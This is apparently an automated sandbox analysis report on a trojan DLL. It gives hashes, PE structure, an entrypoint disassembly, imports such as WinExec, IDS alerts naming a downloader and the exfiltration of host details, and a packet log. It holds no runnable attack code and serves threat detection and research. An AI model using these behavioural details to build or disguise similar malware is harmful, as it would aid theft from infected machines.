MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tlala3pu.uqe.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_untj4spl.axh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uxzcjx3f.5hq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uyzcchdn.a5x.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wkx15pxw.p12.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Entropy (8bit):	5.9788589122688975
TrID:	Win64 Dynamic Link Library (generic) (102004/3) 86.43% Win64 Executable (generic) (12005/4) 10.17% Generic Win/DOS Executable (2004/3) 1.70% DOS Executable Generic (2002/1) 1.70% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
File name:	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll
File size:	112'128 bytes
MD5:	7cbb8ae0a5e5b3bd87898868e18985b2
SHA1:	3240320706483f3801a745c1548a74242a085296
SHA256:	bc4fadea8a16038ea0547023bfb4618cf4195c2221ecd7a928a21a45233d9cb8
SHA512:	523a1e270548aae7c84dc7b4a8accf8f196668f774ede9e92fe09332743e19247ba22437d500a3ffc72f36ae879d7dc378d612f5aa09d110bf70dfe2b84397e8
SSDEEP:	3072:7u7YfAxIV5znBOSdg13jrYNPsbnHgI1srVjC:AYfAx85znIes3jrYhsjng+
TLSH:	4CB34B1B62E500FBE17A8378C8A34E06E376B8150761AB7F07A4465A1F637D18D3EB61
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'LY.c-7.c-7.c-7.(U4.f-7.(U2..-7.(U3.i-7.c-7.b-7...2.F-7...3.m-7...4.r-7.(U6.`-7.c-6.9-7...>.a-7...7.b-7.....b-7...5.b-7.Richc-7

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x18000147c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x180000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DLL
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x66E182E8 [Wed Sep 11 11:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	3b33a0fd02e658d9e1cdca7d0fcc3364

Entrypoint Preview

Instruction
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], esi
push edi
dec eax
sub esp, 20h
dec ecx
mov edi, eax
mov ebx, edx
dec eax
mov esi, ecx
cmp edx, 01h
jne 00007F71F06DC387h
call 00007F71F06DC684h
dec esp
mov eax, edi
mov edx, ebx
dec eax
mov ecx, esi
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov esi, dword ptr [esp+38h]
dec eax
add esp, 20h
pop edi
jmp 00007F71F06DC214h
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor ecx, ecx
call dword ptr [0000EB63h]
dec eax
mov ecx, ebx
call dword ptr [0000EB52h]
call dword ptr [0000EB5Ch]
dec eax
mov ecx, eax
mov edx, C0000409h
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [0000EB50h]
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 38h
mov ecx, 00000017h
call dword ptr [0000EB44h]
test eax, eax
je 00007F71F06DC389h
mov ecx, 00000002h
int 29h
dec eax
lea ecx, dword ptr [0001968Ah]
call 00007F71F06DC54Eh
dec eax
mov eax, dword ptr [esp+38h]
dec eax
mov dword ptr [00019771h], eax
dec eax
lea eax, dword ptr [esp+38h]
dec eax
add eax, 08h
dec eax
mov dword ptr [00019701h], eax
dec eax
mov eax, dword ptr [0001975Ah]
dec eax
mov dword ptr [000195CBh], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x19390	0x58	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x193e8	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1f000	0xf8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1c000	0x105c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x20000	0x670	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x17a70	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x17930	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x10000	0x250	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xeb80	0xec00	ed4934ab0fb50a6abb11462052711da8	False	0.5643869173728814	data	6.490256936858945	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x10000	0x9ba8	0x9c00	209393a3118ffda450053a65c2ad997b	False	0.4273838141025641	data	4.705479197744838	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1a000	0x1cc0	0xc00	1e1a4a289800a84353a96870eb0cff89	False	0.14290364583333334	data	2.0491334679495297	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1c000	0x105c	0x1200	1d715b154498b91af27de6f29bdd8081	False	0.4348958333333333	data	4.557790093723667	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x1e000	0x1f4	0x200	b28d037e61aed4c8b9bba908fa675cff	False	0.505859375	data	3.6206461713980804	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x1f000	0xf8	0x200	ca220b4e602307c00e829209b4722123	False	0.3359375	data	2.5249599901333757	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x20000	0x670	0x800	3a50d7e048613f778cc0065be620f45c	False	0.50439453125	data	4.895025829301926	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x1f060	0x91	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.8689655172413793

Imports

DLL

Import

KERNEL32.dll

WinExec, WriteConsoleW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RtlUnwindEx, InterlockedFlushSList, RtlPcToFileHeader, RaiseException, GetLastError, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, EncodePointer, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, HeapAlloc, HeapFree, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, LCMapStringW, GetProcessHeap, GetStdHandle, GetFileType, GetStringTypeW, HeapSize, HeapReAlloc, SetStdHandle, FlushFileBuffers, WriteFile, GetConsoleOutputCP, GetConsoleMode, SetFilePointerEx, CreateFileW, CloseHandle

Exports

Name	Ordinal	Address
DllRegisterServer	1	0x180001110

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-16T19:24:11.539890+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49706	104.17.112.233	80	TCP
2024-09-16T19:24:11.540853+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49704	104.17.112.233	80	TCP
2024-09-16T19:24:11.545158+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49705	104.17.112.233	80	TCP
2024-09-16T19:24:11.548521+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49710	104.17.112.233	80	TCP
2024-09-16T19:24:21.523419+0200	2857659	ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil	1	192.168.2.5	49716	162.159.136.232	443	TCP
2024-09-16T19:24:21.533514+0200	2857659	ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil	1	192.168.2.5	49717	162.159.136.232	443	TCP
2024-09-16T19:24:21.533904+0200	2857659	ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil	1	192.168.2.5	49719	162.159.136.232	443	TCP
2024-09-16T19:24:21.590221+0200	2857659	ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil	1	192.168.2.5	49718	162.159.136.232	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 16, 2024 19:24:09.388480902 CEST	49704	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:09.388828993 CEST	49705	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:09.393799067 CEST	80	49704	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:09.393887997 CEST	49704	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:09.393897057 CEST	80	49705	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:09.394886017 CEST	49705	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:09.426160097 CEST	49706	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:09.426758051 CEST	49705	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:09.428325891 CEST	49704	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:09.431361914 CEST	80	49706	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:09.431476116 CEST	49706	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:09.431937933 CEST	80	49705	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:09.433170080 CEST	80	49704	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:09.434581995 CEST	49706	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:09.439471006 CEST	80	49706	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:09.894181013 CEST	80	49705	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:09.894228935 CEST	80	49705	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:09.894326925 CEST	49705	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:09.894372940 CEST	80	49704	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:09.894403934 CEST	80	49704	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:09.894460917 CEST	49704	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:09.934200048 CEST	80	49706	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:09.934245110 CEST	80	49706	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:09.934357882 CEST	49706	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:09.948812008 CEST	49707	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:09.948910952 CEST	443	49707	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:09.948987961 CEST	49707	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:09.961795092 CEST	49707	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:09.961838961 CEST	443	49707	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:09.967972994 CEST	49708	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:09.968020916 CEST	443	49708	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:09.968076944 CEST	49708	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:09.971837997 CEST	49708	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:09.971856117 CEST	443	49708	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:09.981060028 CEST	80	49705	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:09.983092070 CEST	49709	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:09.983129978 CEST	443	49709	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:09.983191013 CEST	49709	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:09.986536026 CEST	49709	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:09.986577988 CEST	443	49709	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:10.022488117 CEST	49705	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:10.086213112 CEST	49710	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:10.091516018 CEST	80	49710	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:10.091587067 CEST	49710	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:10.092802048 CEST	49710	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:10.097901106 CEST	80	49710	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:10.441293001 CEST	443	49707	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:10.441394091 CEST	49707	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:10.445497036 CEST	49707	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:10.445527077 CEST	443	49707	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:10.445897102 CEST	443	49707	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:10.457670927 CEST	49707	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:10.462629080 CEST	443	49708	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:10.462723017 CEST	49708	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:10.465163946 CEST	49708	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:10.465193033 CEST	443	49708	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:10.465601921 CEST	443	49708	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:10.475817919 CEST	49708	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:10.483892918 CEST	443	49709	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:10.483982086 CEST	49709	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:10.485882998 CEST	49709	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:10.485902071 CEST	443	49709	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:10.486243010 CEST	443	49709	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:10.497916937 CEST	49709	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:10.499418974 CEST	443	49707	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:10.519418001 CEST	443	49708	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:10.543396950 CEST	443	49709	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:10.558132887 CEST	80	49710	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:10.558191061 CEST	80	49710	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:10.558254004 CEST	49710	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:10.561218023 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:10.561290026 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:10.561377048 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:10.564006090 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:10.564039946 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:10.955105066 CEST	443	49707	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:10.955250978 CEST	443	49707	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:10.955486059 CEST	49707	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:11.000668049 CEST	443	49708	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:11.000778913 CEST	443	49708	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:11.000878096 CEST	49708	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:11.010967016 CEST	443	49709	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:11.011063099 CEST	443	49709	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:11.015077114 CEST	49709	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:11.032263994 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:11.032591105 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:11.066402912 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:11.066440105 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:11.066813946 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:11.076601982 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:11.119479895 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:11.136007071 CEST	49709	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:11.159306049 CEST	49705	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:11.192776918 CEST	49707	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:11.297426939 CEST	49708	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:11.302580118 CEST	49706	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:11.306247950 CEST	49704	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:11.381865978 CEST	49705	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:11.414901018 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:11.415163040 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 16, 2024 19:24:11.415234089 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:11.424242973 CEST	80	49705	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:11.424288988 CEST	80	49706	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:11.424319983 CEST	80	49704	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:11.424350023 CEST	80	49705	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:11.427509069 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 16, 2024 19:24:11.435237885 CEST	49710	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:11.440303087 CEST	80	49710	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:11.539554119 CEST	80	49706	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:11.539678097 CEST	80	49706	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:11.539890051 CEST	49706	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:11.540625095 CEST	80	49704	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:11.540680885 CEST	80	49704	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:11.540853024 CEST	49704	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:11.545021057 CEST	80	49705	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:11.545079947 CEST	80	49705	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:11.545157909 CEST	49705	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:11.548172951 CEST	80	49710	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:11.548209906 CEST	80	49710	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:11.548521042 CEST	49710	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:11.548738003 CEST	49712	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:11.548773050 CEST	443	49712	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:11.548826933 CEST	49712	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:11.549139023 CEST	49712	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:11.549151897 CEST	443	49712	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:11.549213886 CEST	49713	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:11.549264908 CEST	443	49713	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:11.549324036 CEST	49713	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:11.549544096 CEST	49713	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:11.549561024 CEST	443	49713	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:11.627151012 CEST	80	49704	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:11.628185987 CEST	49714	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:11.628238916 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:11.628313065 CEST	49714	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:11.628654957 CEST	49714	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:11.628673077 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:11.631505013 CEST	80	49705	104.17.112.233	192.168.2.5
Sep 16, 2024 19:24:11.632414103 CEST	49715	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:11.632447958 CEST	443	49715	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:11.632544041 CEST	49715	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:11.632762909 CEST	49715	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:11.632776022 CEST	443	49715	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:11.676429987 CEST	49704	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:11.678704023 CEST	49705	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:12.018102884 CEST	443	49713	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.018198013 CEST	49713	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:12.019735098 CEST	443	49712	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.019834995 CEST	49712	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:12.021425009 CEST	49713	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:12.021439075 CEST	443	49713	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.021832943 CEST	443	49713	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.022181034 CEST	49712	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:12.022191048 CEST	443	49712	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.022711039 CEST	49713	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:12.022715092 CEST	443	49712	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.023614883 CEST	49712	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:12.063440084 CEST	443	49713	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.071429014 CEST	443	49712	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.100534916 CEST	443	49715	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.100564003 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.100611925 CEST	49715	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:12.100775003 CEST	49714	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:12.101929903 CEST	49715	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:12.101936102 CEST	443	49715	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.102113962 CEST	49714	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:12.102144003 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.102484941 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.102868080 CEST	443	49715	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.103394032 CEST	49714	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:12.103746891 CEST	49715	443	192.168.2.5	185.199.109.133
